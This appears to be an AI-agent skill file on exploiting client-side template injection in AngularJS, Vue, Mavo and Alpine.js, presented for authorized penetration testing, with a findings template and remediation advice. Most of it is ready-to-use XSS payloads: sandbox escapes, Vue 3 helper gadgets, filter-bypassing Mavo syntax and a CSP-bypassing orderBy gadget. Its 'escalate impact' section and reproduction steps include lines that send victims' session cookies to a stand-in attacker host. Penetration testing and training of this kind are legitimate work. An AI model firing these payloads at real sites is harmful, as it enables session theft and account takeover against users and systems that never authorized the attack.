name: exploiting-client-side-template-injection description: Exploiting Client-Side Template Injection (CSTI) where a frontend framework (AngularJS, Vue, Mavo, Alpine.js) compiles attacker-controlled template syntax in the browser, turning a reflection into arbitrary JavaScript execution (XSS) often bypassing classic XSS filters and CSP. Activates when user input is reflected into a framework-controlled DOM and template expressions like {{7*7}} are evaluated. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- client-side-template-injection
- csti
- xss
- owasp
- web-security version: '1.0' author: xalgorix license: Apache-2.0
Exploiting Client-Side Template Injection (CSTI)
When to Use
- During authorized tests of apps built with AngularJS, Vue, Mavo, or Alpine.js
- When user input is reflected into a DOM region processed by the framework (not inert text)
- When classic XSS payloads (
<script>,<img onerror>) are filtered but template syntax is not - When you see directives:
ng-app,ng-bind,v-html,x-data,mv-/data-mv-, or globalswindow.angular/Vue - When you need to bypass CSP — framework gadgets can execute without inline
<script>
Critical: Variants Most Often Missed
Not every reflection into a framework page is exploitable. Confirm the framework, then confirm the exact sink (compiled expression vs inert HTML). The probe is {{7*7}} → renders 49 = CSTI; renders {{7*7}} literally = not (look for a directive/event sink instead).
# AngularJS >= 1.6 (sandbox removed → direct exec)
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
# AngularJS CSP / ng-csp mode (orderBy gadget)
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
# AngularJS sandbox-escape exfil gadget (Google research)
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location='//attacker/'+d.cookie"></textarea></div>
# Vue 2
{{constructor.constructor('alert(1)')()}}
{{this.constructor.constructor('alert("foo")')()}}
"><div v-html="''.constructor.constructor('alert(1)')()">x</div>
# Vue 3 (helper name varies by build — enumerate nearby helpers)
{{_openBlock.constructor('alert(1)')()}}
{{_createBlock.constructor('alert(1)')()}}
{{_toDisplayString.constructor('alert(1)')()}}
{{_createVNode.constructor('alert(1)')()}}
{{_Vue.h.constructor`alert(1)`()}}
# Mavo (mv-/data-mv- attributes; NON-JS syntax bypasses JS-token filters)
[7*7]
[self.alert(1)]
[(1,alert)(1)]
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a data-mv-if='1 or self.alert(1)'>test</a>
javascript:alert(1)%252f%252f..%252fcss-images
How to CONFIRM a hit (avoid false negatives)
- Reflect a unique marker, confirm where it lands in the DOM.
- Probe
{{7*7}}(Angular/Vue) or[7*7](Mavo). Rendered arithmetic (49) = template evaluated. - If
{{...}}is inert, hunt directive/event sinks:ng-focus,ng-click,v-html, dynamic bindings, alternate delimiters. - Framework-version matters:
- AngularJS < 1.6: needs a sandbox escape;
{{1+1}}still confirms CSTI but exec is version-specific. - AngularJS >= 1.6: sandbox removed →
constructor.constructor(...)reliable. - Vue runtime-only build: does NOT compile arbitrary template strings client-side — a plain reflection into inert HTML is not enough; you need template-compilation or a
v-html/gadget sink.
- AngularJS < 1.6: needs a sandbox escape;
- A successful
alert(document.domain)/ cookie exfil / CSP-bypassing gadget confirms code execution, not just reflection.
Workflow
Step 1: Fingerprint the framework & sink
# Look in the page source / DOM
grep -Eo 'ng-app|ng-controller|ng-bind|v-[a-z]+|x-data|mv-|data-mv-' page.html
# In console:
# window.angular?.version → AngularJS version (decides sandbox payloads)
# document.querySelectorAll('[v-html],[x-data],[ng-app]')
Step 2: Confirm evaluation, then weaponize
# Step A: {{7*7}} → 49 ?
# Step B: switch to framework+version payload
AngularJS >=1.6 : {{constructor.constructor('alert(document.domain)')()}}
Vue 2 : {{this.constructor.constructor('alert(document.domain)')()}}
Vue 3 : {{_openBlock.constructor('alert(document.domain)')()}} # or enumerate _createBlock/_toDisplayString
Mavo : [self.alert(document.domain)]
Step 3: Escalate impact
// Cookie / token theft
{{constructor.constructor('fetch("//attacker/c?"+document.cookie)')()}}
// CSP bypass via ng-csp orderBy gadget (no inline script needed)
<input ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>
Because execution happens through the framework's own evaluator, CSTI frequently bypasses XSS filters and script-src CSP restrictions that block raw <script>.
Key Concepts
| Concept | Description |
|---|---|
| CSTI | Client-side template injection → arbitrary JS in the victim browser (XSS) |
| {{7*7}} probe | Rendering 49 proves the expression is compiled by the framework |
| Sandbox removal (Angular 1.6) | constructor.constructor(...) works directly from 1.6+ |
| Vue runtime-only | No client template compilation → need v-html/gadget, not bare {{}} |
| Vue 3 render helpers | _openBlock/_createBlock/_toDisplayString expose .constructor |
| Mavo non-JS syntax | [7*7], [self.alert(1)] bypass filters looking for JS tokens |
| CSP bypass | Framework evaluator executes without inline <script> |
Tools & Systems
| Tool | Purpose |
|---|---|
| ACSTIS (angularjs-csti-scanner) | Crawl + version-aware AngularJS CSTI payload selection & verification |
| Browser DevTools console | Fingerprint framework, test expressions, enumerate render helpers |
| Burp Suite | Reflect markers, deliver framework payloads, observe execution |
| PortSwigger XSS cheat sheet | AngularJS/Vue reflected gadget reference |
| Auto_Wordlists/ssti.txt | Template-injection probe list |
Common Scenarios
Scenario 1: AngularJS Search Reflection
A search term is reflected inside an ng-app region. {{7*7}} renders 49; since the app uses AngularJS 1.7, {{constructor.constructor('alert(document.domain)')()}} executes JS, bypassing the app's <script> filter.
Scenario 2: Vue 3 Profile Field
A profile name is compiled into a Vue 3 template. {{_openBlock.constructor('alert(1)')()}} runs; when _openBlock isn't present, enumerating _createBlock/_toDisplayString finds a working helper.
Scenario 3: Mavo Filter Bypass
The WAF blocks alert(1) and JS tokens, but the page uses mv- attributes. [self.alert(document.cookie)] evaluates through Mavo's non-JS expression parser, achieving XSS where classic payloads were blocked.
Output Format
## Client-Side Template Injection Finding
**Vulnerability**: Client-Side Template Injection (CSTI) → XSS
**Severity**: High (CVSS 6.1–8.2; higher when it bypasses CSP and steals session)
**Location**: GET /search?q=<template payload> (AngularJS ng-app region)
**OWASP Category**: A03:2021 - Injection (Cross-Site Scripting)
### Reproduction Steps
1. Reflect {{7*7}} into q → page renders 49 (expression compiled).
2. Send {{constructor.constructor('alert(document.domain)')()}} → JS executes.
3. Escalate: {{constructor.constructor('fetch("//attacker/c?"+document.cookie)')()}} exfiltrates the session cookie.
### Evidence
| Probe | Render | Meaning |
|-------|--------|---------|
| {{7*7}} | 49 | Template evaluated |
| {{constructor.constructor('alert(1)')()}} | alert fired | JS execution |
| ng-focus orderBy gadget | runs under ng-csp | CSP bypass |
### Impact
Arbitrary JavaScript execution in the victim's browser: session/cookie theft, account actions, and CSP/XSS-filter bypass via the framework evaluator.
### Recommendation
1. Never reflect user input into framework-compiled template regions; treat it as data, not template.
2. Use strict contextual output encoding and avoid `v-html`/`ng-bind-html` on user data.
3. Upgrade away from AngularJS (EoL); use runtime-only Vue builds that don't compile client templates.
4. Sanitize with framework-sanctioned sanitizers and keep a hardened CSP as defense-in-depth.